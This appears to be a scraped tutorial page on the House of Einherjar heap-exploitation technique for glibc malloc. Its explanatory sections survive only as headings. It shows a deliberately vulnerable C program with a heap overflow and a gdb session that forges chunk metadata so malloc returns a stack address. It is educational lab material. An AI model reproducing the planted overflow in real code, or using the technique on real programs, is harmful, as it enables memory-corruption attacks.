Excuse the ads! We need some help to keep our site up.

List

Conditions

Exploit plan

Example

Files

Source code

#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
int main()
{
	char fake_chunk[32];
	read(0,fake_chunk,32);

	char *buf1 = malloc(0x70);
	char *buf2 = malloc(0x100);
	char *buf3 = malloc(0x70);

	read(0,buf1,122);

	free(buf2);
	
	read(0,fake_chunk,16);
    char *buf4 = malloc(0x200);
}

Exploit flow

Debugging

gdb-peda$ b *0x0000000000400653
Breakpoint 1 at 0x400653
gdb-peda$ b *0x000000000040068e
Breakpoint 2 at 0x40068e
gdb-peda$ b *0x000000000040069f
Breakpoint 3 at 0x40069f
gdb-peda$ b *0x00000000004006b5
Breakpoint 4 at 0x4006b5
gdb-peda$ b *0x00000000004006bf
Breakpoint 5 at 0x4006bf
gdb-peda$ 
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/houseOfEinherjar 
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD


Breakpoint 1, 0x0000000000400653 in main ()
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x4242424242424242
0x7fffffffe4b0:	0x4343434343434343	0x4444444444444444
gdb-peda$ set *0x7fffffffe4a8 = 0x100
gdb-peda$ set *0x7fffffffe4ac = 0x0
gdb-peda$ set *0x7fffffffe4b0 = 0x7fffffffe4a0
gdb-peda$ set *0x7fffffffe4b4 = 0x7fff
gdb-peda$ set *0x7fffffffe4b8 = 0x7fffffffe4a0
gdb-peda$ set *0x7fffffffe4bc = 0x7fff
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x0000000000000100
0x7fffffffe4b0:	0x00007fffffffe4a0	0x00007fffffffe4a0
gdb-peda$ 
gdb-peda$ c
Continuing.


Breakpoint 2, 0x000000000040068e in main ()
gdb-peda$ x/68gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000111
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0x0000000000000000	0x0000000000000081
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
0x6021e0:	0x0000000000000000	0x0000000000000000
0x6021f0:	0x0000000000000000	0x0000000000000000
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000020df1
gdb-peda$ ni
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

0x0000000000400693 in main ()
gdb-peda$ x/20gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x4242424242424242	0x4242424242424242
0x602020:	0x4242424242424242	0x4242424242424242
0x602030:	0x4242424242424242	0x4242424242424242
0x602040:	0x4242424242424242	0x4242424242424242
0x602050:	0x4242424242424242	0x4242424242424242
0x602060:	0x4242424242424242	0x4242424242424242
0x602070:	0x4242424242424242	0x4242424242424242
0x602080:	0x4242424242424242	0x0000000000004242
0x602090:	0x0000000000000000	0x0000000000000000
gdb-peda$ p/x 0x602090 - 16 - 0x7fffffffe4a0
$1 = 0xffff800000603be0
gdb-peda$ set *0x602080 = 0xffff800000603be0
gdb-peda$ set *0x602084 = 0xffff8000
gdb-peda$ set *0x602088 = 0x110
gdb-peda$ x/2gx 0x602080
0x602080:	0xffff800000603be0	0x0000000000000110
gdb-peda$
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040069f in main ()
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0xffff800000603cf1
0x7fffffffe4b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ x/68gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x4242424242424242	0x4242424242424242
0x602020:	0x4242424242424242	0x4242424242424242
0x602030:	0x4242424242424242	0x4242424242424242
0x602040:	0x4242424242424242	0x4242424242424242
0x602050:	0x4242424242424242	0x4242424242424242
0x602060:	0x4242424242424242	0x4242424242424242
0x602070:	0x4242424242424242	0x4242424242424242
0x602080:	0xffff800000603be0	0x0000000000000110
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0xffff800000603cf0	0x0000000000000080
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
0x6021e0:	0x0000000000000000	0x0000000000000000
0x6021f0:	0x0000000000000000	0x0000000000000000
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000020df1
gdb-peda$ p main_arena.bins[1]
$6 = (mchunkptr) 0x7fffffffe4a0
gdb-peda$
gdb-peda$ c
Continuing.
AAAAAAAABBBBBBB

Breakpoint 4, 0x00000000004006b5 in main ()
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x0a42424242424242
0x7fffffffe4b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ set *0x7fffffffe4a8 = 0x1000
gdb-peda$ set *0x7fffffffe4ac = 0x0
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x0000000000001000
0x7fffffffe4b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ c
Continuing.

Breakpoint 5, 0x00000000004006bf in main ()
gdb-peda$ i r rax
$7 = 0x7fffffffe4b0
gdb-peda$ p main_arena.bins[1]
$8 = (mchunkptr) 0x7fffffffe6b0

Related information